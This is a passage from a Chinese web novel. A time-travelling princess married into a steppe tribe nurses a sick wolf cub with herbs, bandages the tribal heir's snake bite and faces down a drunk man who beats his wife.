“灰耳?”她又叫了一声,指尖点了点它的鼻尖,“你是不是不喜欢我啊?”
灰耳半阖着眼,喉咙里发出一声微弱的呜咽,像是想回应她,却又提不起力气。它慢吞吞地张开嘴,粉嫩的舌头无精打采地耷拉着,连呼吸都带着点微弱的颤音。
沈疏禾一怔,心里突然咯噔一下。
“它是不是饿了?”她抬头看向呼延律,“你们平时喂它吃什么?”
呼延律皱眉:“生肉、骨髓,偶尔喂点羊奶,不会饿着它。”
“那怎么会……”沈疏禾低头,手指轻轻抚过灰耳的嘴角,触感有些异样。她小心翼翼地掰开它的嘴,灰耳立刻难受地挣扎了一下,喉咙里挤出几声委屈的呜咽。
沈疏禾倒抽一口冷气。
灰耳的牙龈泛着不正常的暗红色,边缘甚至有些溃烂,舌苔上覆着一层黏腻的白膜,呼吸间还带着淡淡的腥臭味。
这绝不是普通的没精神,更像是病了,而且病得似乎并不轻。
“你们都没发现吗?”沈疏禾猛地抬头,语气里带了些不满,“灰耳好像病了,它的嘴里面几乎都溃烂了。”
呼延律眸光一沉,大步走近,伸手捏住灰耳的下颌,强行掰开它的嘴检查。灰耳疼得直哆嗦,爪子无意识地抓挠着沈疏禾的袖子,喉咙里发出细弱的哀鸣。
“……”呼延律的眉头越皱越紧,半晌,他松开手,嗓音低沉,“草原上的狼很少生病。”
沈疏禾听出了呼延律话里的解释,没再质问,她现在得赶快想办法给灰耳治病。
“那你们这里有兽医吗?”沈疏禾连忙问道。
“有巫医。”呼延律想了想回答。
沈疏禾想到那个莫名其妙的大巫摇了摇头,立刻否定了这个选项。
她低头看着灰耳,小家伙蔫蔫地靠在她臂弯里,蓝灰色的眼睛湿漉漉的,像是蒙了一层雾,可怜得不行。
“得想办法救它……”她喃喃道,脑海里飞快地回忆着以前看过的书,努力从中搜寻解决的办法。
4. 剑拔弩张
晨光透过帐帘的缝隙,在灰耳发颤的耳尖上投下细碎光斑。沈疏禾盯着那处不自然的潮红,突然想起青海调研时那个暴风雪夜——老牧民家的牧羊犬也是这样蔫蔫地趴着,舌苔覆着相似的白膜。
(回忆闪回)
实验室的灯光白得刺眼,她正在显微镜下观察苦艾提取物对线虫的麻痹作用。隔壁畜牧系的学长探头进来:“沈博士,能不能帮忙看看这份犬类寄生虫样本?”
(回忆结束)
灰耳和它一样的话,那也是……寄生虫!沈疏禾福至心灵,推测出了灰耳的病因。
她抬头看向站在帐口的呼延律:“我需要几种草药,草原上应该能找到,你能去帮我找一下吗?”
呼延律看着她求助的神情无声皱了皱眉,刚抱上才多久就感情这么深了?但他还是点头说:“你要什么。”
“野薄荷,用来给灰耳祛掉身上的寄生物。”
呼延律点头转身掀开帐帘,晨光勾勒出他挺拔的轮廓:“很快就回来。”说完他就大步离开,皮靴踏过草地的声响也渐渐远去。
呼延律离开后沈疏禾看着病恹恹的灰耳也很快站起身,她还需要找一些盐和水制作低浓度的盐水来帮助灰耳清理肠道。
她刚掀开帘帐,迎面就看到一位年轻的男子抱着几捆草走过来。他身形修长,发尾系着一枚银铃,随着他的步伐发出轻响。阳光落在他小麦色的皮肤上,衬得整个人和煦温暖。
他见到突然跑出来的沈疏禾脚步一顿,眼中闪过一丝讶异,随即含笑行了一礼:“你就是来自南朝的公主?”
沈疏禾看见他后眼睛立马亮了起来,她正好不知道哪里可以找到盐和水,眼前的人兴许可以帮忙。
她于是颔了颔首点头微笑着说:“是的,叫我沈疏禾就好,请问你是?”
“穆钦。”他呻吟温润,语调不疾不徐,像是草原上拂过的暖风,“负责照料草原上的马匹。”他的目光在她脸上停留片刻,眼底浮起几分欣赏,却又不显得轻佻。
沈疏禾今日未施粉黛,乌黑的长发只用一根素绸松松束着,衬得肌肤如新雪般净白。晨风拂过,几缕碎发掠过她的眉眼,她抬手轻轻拨开,指尖莹润如玉。
穆钦收回视线,嘴角的笑意更深:“那你你突然跑出来,是有什么事吗?”
“是的,我想找一下盐和水,但是不知道哪里有,你能带我去找一下吗?”沈疏禾有些语气柔和又不失分寸。
穆钦眉梢微挑,目光越过她,隐约瞥见帐内蜷缩的灰耳,然后开口问:“是给你的小狼崽用的?”
“啊?”沈疏禾没打算把小狼崽的事情告诉他,不过没想到眼前的人倒是自己发现了灰耳,她于是也坦诚地点头:“是,灰耳好像生病了,需要先清洗一下伤口。”
“灰耳?你还给它取名字了?”穆钦有些诧异。
“嗯,乱取的,如果你还有事的话可以给我指个方向,我自己去就好。”沈疏禾微不可察地蹙了蹙眉,灰耳还在等着她。
穆钦听出了她的言外之意,轻笑了一声说:“是我问多了,你在这儿等我就好,我去给你拿过来。”
“好,那多谢了。”沈疏禾点点头看着穆钦转身离开,自己也走回了帐子里。
可怜的灰耳整个身体都蔫蔫地蜷在一起,沈疏禾不断地轻抚着它试图给它减轻一点痛苦,脑海中回忆诊治它的办法。
“这是你要的草药。”没过多久呼延律就大步走进来,手上拿着新鲜的野薄荷和苦艾草。
沈疏禾还没来得及回答,帐子里就又多出了一个身影,穆钦居然也回来了,手上是刚刚一个装着水的大背壶还有一布袋的盐。
“你怎么会出现在这里?”呼延律沉着脸看着突然出现的穆钦。
帐内的空气仿佛凝固了一瞬,沈疏禾敏锐地察觉到他们二人之间的气氛似乎有些不同寻常。
“怎么,你不欢迎我啊?”穆钦笑着看向呼延律,表情却也有些微妙的变化。
“我应该欢迎你么?”呼延律丝毫不给面子。
沈疏禾看见两人对峙不想掺合其中,不动声色地接过呼延律手中的草药,指尖轻捻叶片仔细检查品质——她自小就跟着爷爷到去去野外考察,所以有些叶片上手一捻就能感觉到这些苦艾草和野薄荷都采摘得当,药效应该不错。
“需要帮忙吗?”穆钦看见沈疏禾的小动作问道,没再回答呼延律的问题。
沈疏禾摇头说:“不用了,我自己来就可以。”然后又看向呼延律问道:“呼延少主,你能再去帮我找一个石臼吗?我刚刚忘了让你拿。”
沈疏禾看出两人关系肯定不一般,不一般地差,而且呼延律又是这个草原的狼王少主,所以为了活命她眼下就必须抱好更粗的大腿。
对不起了穆钦。沈疏禾在心里默默地说。
“嗯。”呼延律看了一眼穆钦后应了下来,嘴角勾起一抹似有若无的弧度。
穆钦被拒绝后也并不恼,只是嘴角的笑意淡了几分:“看来疏禾姑娘还是更相信我们呼延少主啊。”
“穆钦大人此言差矣,我这不是怕您在这儿再耽误了事,”沈疏禾看见呼延律已经走远,又补充道:“我看呼延少主就挺闲的,让他多跑几趟也无妨。”
“挺闲的?”穆钦闻言有些,“他告诉你他很闲吗?”
“没有啊。”沈疏禾也有些疑惑,“我看他每天游手好闲的样子感觉他挺闲的。”
“哦,这样啊。”穆钦没再追问。
沈疏禾看着穆钦依旧没有打算走的意思于是开口:“穆大人,我看你手上抱着几捆草想必是之后还有事?”
穆钦也是聪明人,自然听出了沈疏禾的言外之意:“疏禾姑娘这是准备赶我走?”
沈疏禾对穆钦的直言快语一时语塞,也不打算再藏着掖着,十分坦然地开口:“我怕呼延少主一会儿回来场面又会比较尴尬,所以我觉得
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你还是先离开比较好。”
“那好吧,那我就不打扰疏禾姑娘了。”穆钦语气惋惜地抱起几捆草准备离开。
“但刚刚的事还是多谢你了,如果你以后有需要我帮忙的地方,我也会尽力帮你。”沈疏禾补充道。
“好,那疏禾姑娘可别忘了。”穆钦没有回头,只是扬了扬唇角然后继续往前走。
沈疏禾觉得他话里有话,不过也没再多想,转身准备处理刚刚穆钦带来的水和盐。她将少量的盐倒入了背壶中用力摇晃,直到盐在温水中几乎完全溶解后才将背壶的塞子揭开。
她用干净的麻布蘸上适量的盐水,轻轻擦拭着灰耳的舌面。
灰耳有些痛苦地呻吟起来,沈疏禾有些心疼地轻声安抚:“灰耳乖,灰耳乖,一会儿就好了啊,很快就不难受了…….”
呼延律拿着石臼回来的路上就看到沈疏禾正蹙眉低声安慰灰耳,就好像此刻疼的是她。他有些意外地挑了挑眉,站在帘帐门口没有立刻进去。
一直到沈疏禾将手上的麻布放下呼延律才走了进去,他把石臼递给沈疏禾:“你要的石臼。”
“好,多谢呼延少主了。”沈疏禾接过石臼,心想呼延律来得可真够及时的。
她把呼延律刚刚采摘回来的薄荷叶捣碎,又加了少量清水混合搅拌在一起,然后用干净的麻布仔细地过滤,一点点将过滤后的薄荷汁喂到了灰耳的嘴里。
呼延律也同样在旁边目不转睛地盯着灰耳的反应,发现随着沈疏禾将薄荷汁喂完,灰耳痛苦的呜咽声也逐渐减弱。
沈疏禾没有松懈,依旧坐在灰耳的身边静默地观察着灰耳。渐渐地,灰耳的呼吸逐渐变得有些平稳,原本浑浊的眼睛也清明了几分。
她看着小家伙重新又恢复了一些生机,那根紧绷的弦终于松了一些,看来这个方法对灰耳真的有些用,不过之后还需要找些别的草药来巩固,不然容易又染上同样的问题。
她于是抬头看向呼延律问道:“呼延少主,你们这儿哪里有苦艾草可以采摘吗?我想给灰耳采写苦艾草煮水喝,它还太小,很容易再次生病。”
沈疏禾想了想怕呼延律不知道苦艾草是什么样子于是用簪子在地上准备画出叶型,却突然听见旁边的人说:“有,我现在带你去。”
“那就多谢呼延少主了。”沈疏禾瞬间两眼放光,这个呼延律偶尔也还是挺通情达理的嘛。
“但是灰耳就放在这里可以吗…..”沈疏禾看着床上的灰耳又忍不住担忧。
“不会死,你真把它当你儿子了?”呼延律见她如此宝贝觉得有些好笑。
“那还真不是。”沈疏禾反驳,她以后说不定不生孩子,灰耳可比儿子宝贝。
“那不就行了,还不快走。”呼延律出声催促。
“哦……”沈疏禾看着床上的灰耳决定回来就要给它搭个窝在自己的帐子里,不然说不定又被扔到哪里随便养养然后就被养死了。
5. 倒也不必如此主动
他们穿过王庭外围的草场,沈疏禾注意到呼延律逐渐放慢了脚步。他停在一处低洼湿地,蹲下身拨开杂草,露出几株叶片背面覆着白绒毛的植物,正是她要找的苦艾草。
“没想到呼延少主居然对这些草药很了解。”沈疏禾有些惊奇。
“我倒是还没问你,你又是怎么认识的这些?”呼延律挑眉看着沈疏禾反问。
“我不过是记性好自幼读了几本关于植物的书所以就顺便记下罢了。”沈疏禾面不改色地胡扯,“呼延少主难道也是?”
“在草原长大,怎么可能连苦艾草都不认识。”呼延律似乎相信了沈疏禾的说辞,没再追问。
“有道理。”沈疏禾点点头。
她上前正欲采摘苦艾草,却隐约看见有红色的光斑在不断蠕动,还来不及反应,就见那密密麻麻的红斑“唰”地跳出,直直朝她扑来。
沈疏禾表情瞬间变化,猝不及防地试图从旁边闪躲,却突然看见眼前冒出来一只手臂挡在面前,她听到闷哼一声,随后刀光闪过,扭动的躯体被瞬间分成两半。
“你没事吧?快给我看看你的伤口!”沈疏禾迅速回过神拿起呼延律的手腕检查伤口,却被呼延律有些不自然地躲过,“赤链蛇而已,没有毒。”
“没有毒伤口也需要处理。”沈疏禾又拿回呼延律的手腕仔细端详,所幸伤口不深,用盐水清洗过后包扎一下就可以。
呼延律看着认真思考的沈疏禾有些诧异,她好像很着急的样子,她这是在关心他吗?
“你在担心?”呼延律直接问道。
“对啊,我当然担心了啊。”沈疏禾有点莫名其妙,他保护她受伤了她担心不是很正常?
“你……你们中原的女子怎么比我们草原的女子还开放?”呼延律对沈疏禾的直白有些招架不住。
“开放?”沈疏禾更摸不着头脑,但看着呼延律还在流血的伤口着急地说,“呼延少主我们先回去吧,你这个伤口还是需要赶紧处理一下,否则容易感染。”
“那你不挖苦艾草了?”呼延律问她。
“挖肯定是要挖的,但是我还是先回去帮你处理一下伤口,晚点我自己再过来挖。”沈疏禾边说边往来的方向原路返回。
呼延律跟在她身后表情有些怔愣,这个沈疏禾刚刚不是还对她儿子担心得要命,现在就放一边去了?她果然和那些从小就觊觎他的女生一样,看来也不过如此。
沈疏禾作为一个新世纪优秀女性自然不知道呼延律脑子里那些弯弯绕绕的想法,她回头一看才发现呼延律压根没走几步。
长得身高腿长的走路倒是挺慢,自己的伤口还想不想好了,沈疏禾跑到呼延律疑惑地问:“呼延少主,你就一点不把你的伤口放在眼里吗?”
没等呼延律回答,她就拽起呼延律没受伤的那条手臂往前快步走去。呼延律下意识皱眉就想甩开,但是看到沈疏禾焦急的神情还是作罢。
算了,看在她那么关心本少主的份上,我还是给她留点面子,呼延律在心里想道。
沈疏自小就记忆拔群,所以只是刚刚呼延律带他走了一遍路,她就已经全都记在脑海里,很快就把呼延律带到自己的帐子里。
“你在这儿坐着别动,我给你包扎一下伤口。”沈疏禾示意呼延律坐在自己的床榻上,自己去找刚刚剩下的盐水和麻布。
呼延律坐在床榻边沿,看着灰耳蜷成毛茸茸的一团,小肚子随着呼吸不断地起伏。他伸出手用指节轻轻蹭了蹭它耳尖的绒毛,灰耳的耳朵即使是在睡梦中也跟着抖了抖。
呼延律见状轻哂一声,沈疏禾的儿子倒是挺可爱。
“你的手还在受伤,别乱动。”沈疏禾端着盐水回来,手上还拿着几块刚裁好的麻布。
“这么点伤就不动了,换作在战场上早不知道死哪里去了。”呼延律不以为意,但还是收回了手。
沈疏禾没有附和他的谬论,蹲在他的面前小心地抓过了他的手臂。刚刚被咬伤的部位已经有些肿胀,她沾湿麻布小心地擦拭,“可能会有点疼,你稍微忍着点。”
盐水渗入伤口时,呼延律肌肉紧绷了几分,但并没有发出声音。沈疏禾感受到他的反应,手上的动作更轻柔了几分,缓缓地掠过他的伤口。
呼延律突然感觉有些一样,心里好像不自觉注入了些东西,但又无从查证,看着沈疏禾专注的神情眼神里的情绪加重了几分。
沈疏禾用盐水清洗过后又小心翼翼地包上了麻布,到了结尾突然还一时兴起有些恶趣味地扎了个蝴蝶结。
完美,沈疏禾看着自己包扎的伤口,觉得自己果然是个天才。
呼延律刚走神没多久就看见自己的手臂被包扎得花里胡哨神情有些凝滞,“我不过是被蛇咬了一口,你怎么包扎得好像我的手臂都快断了。”说着就动手想自己把那些麻布都给解下来。
“哎——”沈疏禾连忙阻止,“你刚受伤就要这样好好保护,大伤小伤都一样,都要好好爱护。”
都要好好爱护,呼延律闻言突然看向沈疏禾,看得沈疏禾一怔。
“怎么了?我是说的哪里不对吗?”沈疏禾看着目光凌厉的呼延律吓了一跳,她不会是又说错什么话惹得这个少主不高兴了吧。
“没有。”呼延律否认。
“哦,没有就好,那你记得注意……”沈疏禾正准备再叮嘱几句,就听见帘帐外有声音传来。
“Chi—na!”(呼延!)
呼延律闻言走出账外,看见了一名看上去和呼延律差不多大的年轻男人往这边跑来。
“你又怎么了?”呼延律看着他气喘吁吁的样子皱眉问。
那名男子跑到呼延律面前却发现了站在呼延律身后的沈疏禾一时有些惊喜,他略过呼延律走到了沈疏禾的面前咧开了嘴笑道:“你就是中原那个来和亲的公主吧?”
“噢,我是,请问你是?”沈疏禾对他的热络有些猝不及防。
“我叫苏勒,呼延律的好兄弟!”苏勒热情地伸出了手,沈疏禾刚想礼貌性回握,却被呼延律一脚踹开。
“你踹我干什么!”苏勒拍了拍自己的大腿有些不爽地看着呼延律。
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呼延律无视他的质问,看向沈疏禾说:“你不是还要去挖艾草,在这里愣着干什么,还不快去?”
“啊?哦,我现在就去。”沈疏禾突然被提醒反应迟钝了一瞬,转身回了帐子里去拿采艾草的工具然后往王庭外走去。
呼延律看她逐渐走远,神色不悦地看着在原地直喊痛的苏勒问:“你脑子有病?”
“我怎么了啊,不就是和她打个招呼,又没有触犯哪条律法。”苏勒嘟嚷着嘴埋怨,刚刚呼延律那一脚踹的真够狠的,他到现在还疼得厉害。
“你是不是看见长得好看的女生就忘了自己要干什么?”呼延律语气不善地戳破苏勒,以为苏勒很快就会偃旗息鼓,却见苏勒顿时瞪大了双眼:“你这纯粹就是冤枉!我知道她是你阏氏(妻子)我哪敢打主意,还看她好看!”苏勒的语气忿忿不平,还隐隐夹杂了几分委屈。
“不是最好,你有什么事找我?”呼延律见他误会了苏勒,于是面不改色地转移了话题。
“哦,其实也没什么大事,就是……诶?等等?”苏勒脑子突然转过了弯,“我没听错的话,你刚刚是不是夸她漂亮了?”
“我没有。”呼延律迅速否认。
“不可能,你刚刚就是说她漂亮了。”苏勒看见他的反应更笃定了自己的猜测,然后满脸兴奋地说:“其木格长得那么标致天天围着你转你都不看她一眼,原来是因为你喜欢的是中原女子啊。”
然后他又摸了摸自己刚刚被踹的地方,“难怪你刚刚踹我,是不是吃醋了啊。”苏勒挑了挑眉八卦地问道。
呼延律沉默不语,其实他自己也不知道刚刚为什么要踹苏勒,就是看见他们要握上的手一时间有些不爽,就直接踹了上去。
“唉,看来我挨得这一脚不冤啊。”苏勒仰天长叹。
“你有完没完?来找我什么事。”呼延律皱眉问道,表情十分不耐。
苏勒想到他来的目的也很快正色道:“之前闹事的那几个混小子最近又开始不安分了,贺兰看不惯一冲动和他们打了一架,几个人伤得都挺重的,现在他们几个人都被我捆在树上待着,找你就是问问你要不要过去看看。”
“走。”呼延律闻言面色沉了几分,大步往军营的地方走去,苏勒也紧随其后。
“呼延哥!你怎么也来了!”贺兰越看见大步走来的呼延律顿时两眼放光。
“来看你做的好事。”呼延律沉声回答。
“等一下,呼延哥你受伤了?!”贺兰越一眼就看到了呼延律手上绑的大块的麻布,拿起呼延律的手自己端详着伤口,表情十分震惊。
“没什么事,一点小伤。”呼延律有些不自然地松开贺兰越的手。
“小伤?怎么可能!呼延哥你就别骗我了,你怎么会因为一点小伤就包扎成这样,这是哪个王八蛋干的!”贺兰越已经开始有些上火,他要是知道是哪个人干的他一定扒他一层皮。
“我说了没事。”呼延律从牙缝里说出这句话,他就知道会这样,他之前到底是被沈疏禾怎么洗脑了真就允许她包成了这样。
6. 仗他的势
正被呼延律咬牙切齿地想着的沈疏禾此刻倒是悠闲,她走到之前呼延律带她去的那片长满苦艾草的湿地东挑挑西看看,很快就心满意足地采了不少新鲜的苦艾草。
“真不错啊,用这些苦艾草给小灰耳煮出水来喝它肯定会舒服很多。”沈疏禾有些高兴地哼着歌走回去。
“呜呜,呜呜呜……”沈疏禾轻快的脚步突然一滞留,没听错的话这好像是有人在哭?听起来似乎还是一名女子。
她有些小心地靠近那道断断续续的声音,发现那道压抑的哭泣声来自于灌木丛的后面。她拨开枝叶,看见一名瘦弱的女子蜷缩成一团蹲在地上,头埋在肩膀下面止不住地抽噎。
“请问你是遇到什么事了吗?”沈疏禾连忙将手中的东西放到一边跑到那名女子的身边问道。
那名女子双眼通红有些意外地抬头,然后抽抽噎噎地说:“我……我没事,我就是在这儿待一会儿很快就走了。”她边说边用手拭去眼边不断流出来的眼泪,沈疏禾眼尖地将她手上的鞭痕看得一清二楚。
“你的手,是被谁打了吗?”沈疏禾还是试图追问。
“没有,是我不小心……”女子刚要解释,就被不远处一到喝斥打断。
“纳米雅!你跑到哪里去了,快给我出来!”男人的语气不善,仔细听还能从中听出几分醉意。
沈疏禾闻言心中瞬间了然,她没猜错的话眼前哭得狼狈的女子是遇上了恶臭的家暴男,刚被打过之后只好在这里暂时躲避风头。
果然,恶心的渣宰在什么时候都层出不穷,沈疏禾在心里冷笑一身。
纳米雅听到男人的声音身体猛地抖了一下,然后像是在做什么心理准备一样咬牙准备起身,却被旁边的沈疏禾一把按住:“我叫沈疏禾,是南朝来的和亲公主,就住在王庭最里面的帐子里,你之后有困难可以来找我。”
“诶……!”纳米雅看着刚说完话就立刻起身的沈疏禾有几分震惊,想阻止她却发现她已经不知何时拿着镰刀跑到了醉酒男人的身边。
“你……你是谁啊。”肥头大耳的男人满脸通红,手上还不忘拿着个背壶走几步就喝一口,看见突然跑过来的沈疏禾眼神有几分迷离。
沈疏禾将镰刀藏在了身后露出一个灿烂又迷人的笑容:“你猜我是谁呢?”
“我……我猜啊,我猜你是新来的小美人儿!”男人语调暧昧,说起来的话也极为轻浮。
“是吗?”沈疏禾语气玩味地反问。
眼前的男人两眼放光,止不住地点头,眼神直勾勾地在沈疏禾身上肆意游走,看的沈疏禾差点忍不住当就吐。
“那恭喜你,猜错了哦,”沈疏禾扬唇露出一抹危险又张扬的笑,“蠢货。”随着最后两个字结束,沈疏禾拿出了藏在身后的那把镰刀,直直对准了眼前还沉浸在沈疏禾刚才的那抹笑容里满脸□□的男人。
男人瞬间面露惊恐,“你……你要干什么?!”
“我要做的还不明显吗?当然是砍你。”沈疏禾嘴角的笑意压平,径直朝着男人走去。
男人不断后退,边哆嗦边说:“你知道我是谁吗!我可是秃鹫王的侄子,你要是敢动我,你小心自己也会没命!”
“秃鹫王?”沈疏禾眯起双眼。
“对!就是他,你知道了还不赶快把刀放下!”男人似乎找到了几分自信,挺了挺满是赘肉的身子说。
“那你可知呼延律?”沈疏禾看着对面男人的表情。
“呼延少主谁不知道,你问这个做什么?”男人听到呼延律的名字有几分畏惧和警惕。
“知道就好办了,那你是不是还忘了他前几日才娶了一个南朝的和亲的公主?”沈疏禾看到了自己想要的反应,呼延律的威望绝对比这个什么秃鹫王要大。
“是你?!”男人瞬间有些惊慌,但很快就平复了下来,“你是又怎么样,听闻少主对你并不喜爱,连大婚仪式都没有办,你不过是个废子而已!”
说着男人就狞笑了几声,重新恢复了之前自信的神态。
“可是你们难道不知道,呼延日日都来我帐子里,夜夜都同我一道休息,嗯?”沈疏禾面不改色地胡扯,她赌眼前的人肯定不知道事情的真相。
“真……真的吗?”男人果然相信了她的话,表情变得有些僵硬。
“不然还能有假的?你现在给本夫人跪下!”沈疏禾又将镰刀竖起,一只手叉腰命令男人跪下。
男人顺着沈疏禾的话“扑通”一声跪倒在地,嘴上连连说着:“对不起夫人,是我的错,是我有眼不识泰山了,没认出您。”
沈疏禾冷笑一声,“你觉得这样难道就可以过去了?要是被呼延知道他心爱的夫人被你这般调戏,你猜猜你的小命还保不保得住?”
男人听了全身不停地发抖,脸上的肥肉也都跟着一起抖动,“那您想让我怎么做才会原谅我,我一定照做。”
“现在,扇自己的巴掌。”沈疏禾没再和他废话。
“什么?!”男人瞪大双眼难以置信地疑问出声。
“你不扇?”沈疏禾诘问,双眼冰冷地看着眼前的男人。
“我扇,我扇……”男人瞬间认怂,扬起了自己的手,看似用力地扇了下去,实则连个声响都没让沈疏禾听到。
呵,打女人毫不手软,对自己的猪头肉倒是怜香惜玉,沈疏禾一阵反胃。
“啪——啪——”
她直接走上前,双手各用力扇了男人一巴掌,男人的脸颊迅速肿起,沈疏禾看着自己的成果又抬头看向男人居高临下地说:“就这么打,知道吗?给我边打边数,但满一百下才许停,少一次我在你身上划一刀,现在开始。”
男人闻言只好加重力道,于是清脆的巴掌声在空中不停地响起,伴着男人哆嗦的数数声:“一,二,三…….”
“九十八,九十九,一百……”男人数完了一百下,有气无力地
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瘫倒在地。
“这次就放你一马,再被我发现你还有下一次,不只是对我,对别的女人也动歪心思的话,小心我扒了你的皮然后喂给我养的小狼崽吃,说不定它看你满身的肥肉还嫌腻,顺带着把你的血也喝个干净,听到了吗?”沈疏禾语气冷酷又危险。
“听……听到了。”男人磕磕绊绊地说,声音小如蚊蚋。
沈疏禾听到他的回答皱了皱眉,拿起自己的东西,又走到躺在地上的男人身边用脚对准了男人的手狠狠地踩了下去。
“啊……!”男人瞬间惊叫出声。
“听到了没有?说话大点声,我听不清。”沈疏禾嘴角扬起一抹诡谲的笑。
“听……听到了!”男人用力地回答。
“这才对吗,这满身的肥膘可不能白长了,说话也该声音大点,不然你还能有什么用呢?”沈疏禾厌恶地离开,没再回头看男人一眼。
沈疏禾刚刚帮那个女生出了气过后浑身舒爽,有些轻快地往前走时,却又在想起那个女声抽噎的样子后很快又在心里长叹了一口气,不知道那个女生之后的生活会是什么样的呢。
即使她这次阻止了男人的暴力,又在走之前声色俱厉地警告他不许再犯,可是之后在她看不见的地方,那样的男人真的就不会再继续了吗,而那个女生就能真正摆脱这种痛苦了吗?
不会的,沈疏禾在心里回答。不仅如此,这还只是今天凑巧让她碰上了,那还有多少同样身陷水深火热之中的女性饱受折磨却无能为力,只能忍受这种苦楚呢,她不敢想。
刚刚的轻松再次变得有些沉重,她满腹心事地往自己的帐子里走去。
她把东西放到帐子里安置好后,准备明天给灰耳煮艾草水喝。她看着还在厚地毯上休息的灰耳心情好转了一些,忍不住走到了灰耳的旁边小心抚摸着它毛茸茸的身体。
“灰耳,你怎么这么能睡呀,今天是不是都睡了一天,妈妈明天带你去草原上玩好不好?”沈疏禾笑着轻声对小灰耳说话,眼里却流露出一丝不易察觉的哀愁。
她之后还要面对很多事情,盐碱地里的沙棘明天也要去看看情况,刚刚的那个男人大概率也并不会守口如瓶识相地闭嘴,要是被呼延律知道她在外胡说八道也不知道会是什么反应……
还有刚刚的情况,她好像对此无能为力,至少目前是这样。
沈疏禾有些疲惫地将后背靠在了床榻上,两眼空洞地看向天花板,似乎要将心里眼里的情绪一股脑地全部宣泄出来。
没过多久,她又很快地直起身来,她不能就放任这样下去。兵来将挡,没什么好怕的,反正她也是穿越过来的,说不定什么时候还能穿越回去。
凭什么女人就要心甘情愿地接受男人的暴力和驱使,沦为男人的玩物和发泄物,又凭什么男人永远高高在上女人只能望其项背,她不止要活下去,还要好好地活下去,或许这次的穿越,对她来说也是一个契机……
7. 没关系
沈疏禾想到这里扬了扬唇角,重新振作起来准备去洗漱,正巧看到杏儿走进来。
“公主,洗漱的水我替您打好了,您直接洗就可以了。”杏儿边说把水放到了桌上。
“好,那个杏儿你明天带我去草原上熟悉一下草原的环境吧,以后水这些的我自己也能打。”沈疏禾想了想说。
“啊?怎么了公主,您是觉得这两天我侍奉您您不高兴了吗?我那些苜蓿草都铡完了,明天就能陪着您了。”杏儿闻言有些惊慌,满脸都写着要被抛弃的委屈。
“不是的杏儿,我就是觉得我既然都来草原了就要什么东西都学着自己做,就是想给自己一点锻炼的机会,你别怕,我不会不要你的。”沈疏禾看着杏儿觉得有些可爱,笑着给杏儿解释道。
“哦,那我明天就带你去熟悉草原!”杏儿点了点头,相信了沈疏禾的解释,十分高兴地点头回答。
“好。”沈疏禾满心欢喜地回答,期待着明天的到来。
晨光初露,草原上还挂着晶莹的露珠。沈疏禾跟着跟在杏儿身后,一处处熟悉着草原的环境。
“公主您看,这是我住的地方。”杏儿指了指自己的帐子,沈疏禾跟着她一起走进去。
“杏儿,你这个帐子里是很多人一起住的吗?”沈疏禾一直以为杏儿也一个人住一个帐子,此刻看到一排的大通铺有些诧异。
“是呀公主,不过她们都已经早早地起来去干农活了。”杏儿习以为常地回答。
“那你和她们相处得还算愉快吗?”沈疏禾有些疑惑地问,都是第一次来到人生地不熟的
地方,她还没关心杏儿适应得怎么样。
“就一般吧,我才不想和她们相处呢。”杏儿原本兴致勃勃介绍的样子突然垮了下去,嘟着嘴有些不高兴地回答。
“是她们不欢迎你吗?”沈疏禾追问。
“嗯……差不多吧,那些长舌妇我也不欢迎她们。”杏儿有些迟疑地回答。
“长舌妇?”沈疏禾有些疑惑,杏儿似乎也没有值得她们嚼舌根的地方啊。
“所以,她们谈论的对象是我?”沈疏禾很快就反应过来问道。
“唉——”杏儿叹了口气,“她们就是看不惯您和呼延少主和亲,都说您配不上呼延少主,还说您来这么久了呼延少主都不和你举办婚礼,压根就不在乎你!”杏儿越说越气愤,好似受委屈的是她。
沈疏禾看着杏儿气鼓鼓的样子笑了笑,“她们说的也是事实,呼延律本来也就不在乎我。”
“可是——!”杏儿还准备继续说下去,却被沈疏禾打断,“没关系的杏儿,也许她们觉得我们是从南朝过来的对我们有敌意也很正常,不用放在心上。”沈疏禾安慰道。
“但是杏儿你不要再住在这里了,你和我住在一个帐子里吧。”沈疏禾的声音温柔却很坚定,用手摸摸了杏儿的头说。
杏儿猛地抬头,眼里满是难以置信的神情,“公主,这恐怕不合规矩,杏儿也已经习惯住在这里了,没关系的。”
“怎么,你不听公主的话了?”沈疏禾看着杏儿居然有些心疼,她看上去比自己还要小一两岁,却习惯了受这些委屈,于是抿了抿嘴对杏儿说。
“我……”杏儿有些迟疑,“不过公主这样真的没关系吗?”
“当然没关系了,正好我一个人住在帐子里夜里还总是会害怕会不会有什么人进来,有你陪我我反而会安心些。”沈疏禾给出了难以抗拒的理由。
“那……好吧,那我就陪着公主一起。”杏儿最终还是答应了下来。
“嗯,那现在你收拾东西过来吧,我等你一起用早膳。”沈疏禾拢了拢杏儿有些散乱的发辫。
晨风穿过帐门缝隙,带着青草的气息。沈疏禾看着望着杏儿雀跃奔跑的背影,脸上的笑意渐渐淡去。
她的确同意刚刚杏儿和她描述草原上的一些传言,不过她唯独不赞同一句话,毕竟是谁配不上谁,还不一定呢。
沈疏禾在原地站了半刻,朝着自己帐子的方向走去。
“公主,我收拾好了!”沈疏禾放慢了脚步朝着帐子走去,刚到帐门口就看见冲出来的杏儿兴奋地跑了出来。
沈疏禾点了点头,和杏儿去用了早膳,然后跟着杏儿慢慢逛着草原,沈疏禾也在心里默默记下了那些地方,边走边在心里不停地复盘。
晨光染透东方红的云霞时,沈疏禾已经跟着杏儿走遍了部落周边的草原。露水将她的衣摆几乎打湿了个透,却让她的眼神愈加的明亮起来。
“那是草原的马场。”杏儿指着远处的一片围栏,“呼延少主的白马就在最东边的马厩里。”
沈疏禾顺着她指的方向望去,看见了围栏里各个精神抖擞的战马,还有几名军士正在草原肆意地纵马,烈马扬起的尘土在朝阳中如同金色的薄雾,让她不由驻足观望。
“哇——”沈疏禾下意识地赞叹了一声,他们骑马时英姿飒爽的样子的确很是赏心悦目,看得人不禁眼前一亮。
“公主您喜欢看骑马?”杏儿有些惊讶,“您要是喜欢的话以后我每日都可以陪您一起来,他们几乎每天都在这儿练马。”
“那倒不必了。”沈疏禾笑着摇头,“我们再去看看水源吧,也许对之后的灌溉会起到帮助。”她想了想又说。
“好,这边走公主。”杏儿应了下来。
她们沿着蜿蜒的小溪行走,沈疏禾仔细地记下每一处取水点。她们边往前走时似乎听到了有女生在交谈的声音,到近处时看见原来是溪边有几个正在洗衣的草原妇女,不过却在见到她们很快就噤了声,互相看着对方几眼后又对沈疏禾和杏儿投来了探究的目光。
